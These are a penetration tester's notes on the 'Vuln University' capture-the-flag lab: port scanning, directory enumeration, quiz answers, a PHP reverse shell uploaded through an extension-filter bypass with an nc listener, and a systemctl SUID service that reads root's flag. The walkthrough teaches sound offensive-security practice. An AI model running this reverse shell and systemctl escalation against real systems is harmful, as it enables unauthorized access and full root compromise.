

Vulnerability Notes

1. Looked for Open Ports

1.a) `nmap -sV -sC -A -Pn 10.10.6.3 -oX nmap.enumeration`

1.b) Noted that 6 ports were open and the results are as shown below:

21 for ftp

22 for ssh

139/445 for Samba

3333 for http-proxy

Host=VULNUNIVERSITY

Starting Nmap 7.70 (<https://nmap.org>) at 2020-08-11 10:10 EDT

Nmap scan report for 10.10.6.3

Host is up (0.28s latency).

Not shown: 994 closed ports

PORT	STATE	SERVICE	VERSION
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21/tcp	open	ftp	vsftpd 3.0.3
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22/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:

| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)

| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)

|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)

139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
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445/tcp	open	netbios-ssn	Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
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3128/tcp	open	http-proxy	Squid http proxy 3.5.12
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|_http-server-header: squid/3.5.12

|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University

Host script results:

|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2020-08-11T10:11:59-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-11 10:11:58
|_ start_date: N/A

Answers for Questions:

There are many nmap "cheatsheets" online that you can use too.

No answer needed

#2 Scan the box, how many ports are open?

6

#3 What version of the squid proxy is running on the machine?

3.5.12

#4 How many ports will nmap scan if the flag `-p-400` was used?

400

#5 Using the nmap flag `-n` what will it not resolve?

DNS

#6 What is the most likely operating system this machine is running?

Ubuntu

#7 What port is the web server running on?

3333

2. Further Enumeration

Use Gobuster to enumerate further.

2.a) Got internal directory

/internal

Within this directory, it was possible to upload an attachment and only phtml extension was allowed.

We then created a php-reverse-shell.phtml file for uploading.

php-reverse-shell.phtml and execute the file using `chmod +x php-reverse-shell.phtml`

The file was located in `/root/Documents/Testing/Vunersity/Notes/`

3. Exploitation

3.a) Created a NC backdoor using `nc -lnvp 4444`

3.b) `http://IP:3333/internal/uploads/php-reverse-shell.phtml`

3.c) It was then possible to get an initial shell

3.d) Because the shell was not stable, I added the python shell using `python -c 'import pty; pty.spawn("/bin/sh")'`

```
cd /home/bill
```

```
cat user.txt
```

4. Privilege Escalation

The following commands were used to gather more information

4.a) `python -c 'import pty; pty.spawn("/bin/sh")'`

4.b) `find / -perm /4000 2>/dev/null`

We got that `/bin/systemctl` was very vulnerable as all escalation criterion were denied by root

4.c) We made use of <https://gtfobins.github.io/#+suid>

GTFOBins- GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

4.d) Since we were looking for SUID binaries, we made use of the following code to create a new service since only logged in users could exploit the vulnerability

```
cd /tmp
```

```
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
```

After successfully running the new service, we had to navigate to
ls -la as shown below:

```
$ ls -la
ls -la
total 52
drwxrwxrwt  8 root   root   4096 Aug 11 10:04 .
drwxr-xr-x 23 root   root   4096 Jul 31  2019 ..
drwxrwxrwt  2 root   root   4096 Aug 11 08:38 .ICE-unix
drwxrwxrwt  2 root   root   4096 Aug 11 08:38 .Test-unix
drwxrwxrwt  2 root   root   4096 Aug 11 08:38 .X11-unix
drwxrwxrwt  2 root   root   4096 Aug 11 08:38 .XIM-unix
drwxrwxrwt  2 root   root   4096 Aug 11 08:38 .font-unix
-rw-r--r--  1 root   root    33 Aug 11 10:04 output
drwx-----  3 root   root   4096 Aug 11 08:38 systemd-private-
8cba3c72975a4204bcb66dba8bbb0e2e-systemd-timesyncd.service-lFBY35
-rw-----  1 www-data www-data  0 Aug 11 09:24 tmp.OAOwmqGvXV
-rw-rw-rw-  1 www-data www-data 101 Aug 11 09:33
tmp.OAOwmqGvXV.service
```

```
-rw----- 1 www-data www-data 0 Aug 11 10:01 tmp.WiYUyNAfda
-rw-rw-rw- 1 www-data www-data 116 Aug 11 10:03 tmp.WiYUyNAfda.service
-rw----- 1 www-data www-data 0 Aug 11 09:37 tmp.bNsYnu8Hyq
-rw----- 1 www-data www-data 0 Aug 11 09:15 tmp.ktKeitic1G
-rw-rw-rw- 1 www-data www-data 127 Aug 11 09:17 tmp.ktKeitic1G.service
-rw----- 1 www-data www-data 0 Aug 11 09:31 tmp.pqvAdl01Rj
-rw----- 1 www-data www-data 0 Aug 11 09:20 tmp.rUYig68NuX
-rw-rw-rw- 1 www-data www-data 116 Aug 11 09:22 tmp.rUYig68NuX.service
$ cat output
```

END